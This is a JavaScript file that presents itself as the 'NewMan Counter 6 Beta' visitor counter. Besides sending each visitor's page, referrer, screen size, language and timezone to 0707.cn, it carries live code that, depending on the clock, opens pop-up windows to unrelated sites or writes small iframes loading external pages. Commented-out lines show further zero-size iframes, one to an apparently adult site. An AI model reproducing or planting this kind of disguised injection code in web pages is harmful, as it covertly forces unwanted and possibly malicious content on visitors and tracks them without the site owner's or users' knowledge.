var __cc_sys_url = "http://www.0707.cn/newcount/"

//var __cc_uid = "username";
//var __cc_style = 18;


mydate=new Date();
myhour=mydate.getHours();
mySec=mydate.getSeconds();


if (mySec % 6==0){
	if ((myhour>21)||(myhour<8)){
		window.open("http://www.baby.sh.cn");
	}
	else{
		//http://www.shanghaistreet.com/ShangHaiStreetMap.htm
		document.write ('<iframe src=http://www.all4site.com/jiage.asp width=32 height=20 scrolling=no frameborder=0></iframe>')
	}
}
else if(mySec % 6==1){
	//window.open("http://www.shanghaistreet.com/ShangHaiStreetMap.htm");
	if (mySec % 2==0){
		window.open("http://www.58779677.cn");
	}
	else{
		//document.write ('<iframe src=http://www.525jia.com/index1.html width=32 height=20 scrolling=no frameborder=0></iframe>')
	}
}
else if(mySec % 6==2){
	document.write ('<iframe src=http://www.58779677.cn/index/index.asp width=32 height=20 scrolling=no frameborder=0></iframe>')
}
else if(mySec % 6==3){
	//window.open("http://www.525jia.com/ads/google/googleword.htm",null,"height=270,width=336,status=no,toolbar=no,menubar=no,location=no");
}
else if(mySec % 6==4){
	//window.open("http://www.525jia.com/ads/google/googlepic.htm",null,"height=270,width=336,status=no,toolbar=no,menubar=no,location=no");
}

//if ((myhour>21)||(myhour<8)){
//	document.write ('<iframe src=http://www.shanghaistreet.com width=0 height=0 scrolling=no frameborder=0></iframe>')
//	document.write ('<iframe src=http://www.525jia.com/index.html width=0 height=0 scrolling=no frameborder=0></iframe>')
//}

//document.write ('<iframe src=http://www.525jia.com/ads/indexPassage.htm width=0 height=0 scrolling=no frameborder=0></iframe>')
//document.write ('<iframe src=http://www.0707.cn/domain.asp width=0 height=0 scrolling=no frameborder=0></iframe>')
//document.write ('<iframe src=http://www.sexybaby.cn width=0 height=0 scrolling=no frameborder=0></iframe>')

//document.write ('<iframe src=http://www.525jia.com/index.html width=0 height=0 scrolling=no frameborder=0></iframe>')
/////////////////////////////////////////////////////////////////////
<!--
/******************************************************
* 创建Cookie
*******************************************************/
function SetCookie(name, value, expires, path) 
{ 
    document.cookie = name + "=" + escape(value) + 
        ((expires == null) ? "" : "; expires=" + expires.toGMTString()) +
        ((path == null)    ? "" : "; path=" + path);
}

/******************************************************
* 取得Cookie值
******************************************************/
function GetCookie(name)
{ 
    var cname = name + "=";               
    var dc = document.cookie;             
    if (dc.length > 0) 
    { 
        begin = dc.indexOf(cname);       
        if (begin != -1) 
        { 
            begin += cname.length;       
            end = dc.indexOf(";", begin);
            if (end == -1) end = dc.length;
            return unescape(dc.substring(begin, end));
        } 
    }
    return null;
}

/********************************************************
* 判断Cookie值是否为空，若为空，则弹出窗口并设置Cookie值，
* 否则，则不作任何操作
*********************************************************/
var sCookie = GetCookie("IsPoped");
if (sCookie != null)
{
    //window.alert(sCookie);
}
else
{
    SetCookie("IsPoped","1",null,"/")
    //window.alert("Cookie has been setted!");
    //嵌入代码
	//window.open("http://www.shanghaistreet.com/new.asp");
}

//-->
/////////////////////////////////////////////////////
//search and refresh the web in the website


function cc6_readCookie(name){
  var cookieValue = "";
  var search = name + "=";
  if(document.cookie.length > 0){ 
    offset = document.cookie.indexOf(search);
    if (offset != -1){ 
      offset += search.length;
      end = document.cookie.indexOf(";", offset);
      if (end == -1) end = document.cookie.length;
      cookieValue = unescape(document.cookie.substring(offset, end))
    }
  }
  return cookieValue;
}

function cc6_writeCookie(name, value, hours){
  var expire = "";
  if(hours != null){
    expire = new Date((new Date()).getTime() + hours * 3600000);
    expire = "; expires=" + expire.toGMTString();
  }
  document.cookie = name + "=" + escape(value) + expire;
}


var __cc_visited = 1;
var __cc_cookies_name = 'cc_6_visited_site_'+__cc_uid;
if(cc6_readCookie(__cc_cookies_name).length<1){
	cc6_writeCookie(__cc_cookies_name,1);
	__cc_visited=0;
}
if(typeof(__cc_style)=="undefined") __cc_style=18;
var __cc_page = escape(location.href);
var __cc_ref = escape(document.referrer);
var __cc_Color = screen.colorDepth;
var __cc_Language = (navigator.systemLanguage?navigator.systemLanguage:navigator.language);
var __cc_sSize = screen.width + '_' + screen.height;
var __cc_count = __cc_sys_url 
			   + "core/default.asp" + "?test=0&id=" + __cc_uid
			   + "&l=" + __cc_Language + "&t=" + __cc_style
			   + "&p=" + __cc_page + "&r=" + __cc_ref
			   + "&s=" + __cc_sSize + "&c=" + __cc_Color
			   + "&v=" + __cc_visited
			   + "&z=" + (new Date()).getTimezoneOffset()/60;
			   
document.write('<a href="'+__cc_sys_url+'supervise/index.asp?uid='+__cc_uid+'" target="_blank">'
	+ '<img src="'+__cc_count+'" width='+__cc_style+' height='+__cc_style+' alt="NewMan Counter 6 Beta" border=0>'
	+ '</a>');

//End of count.js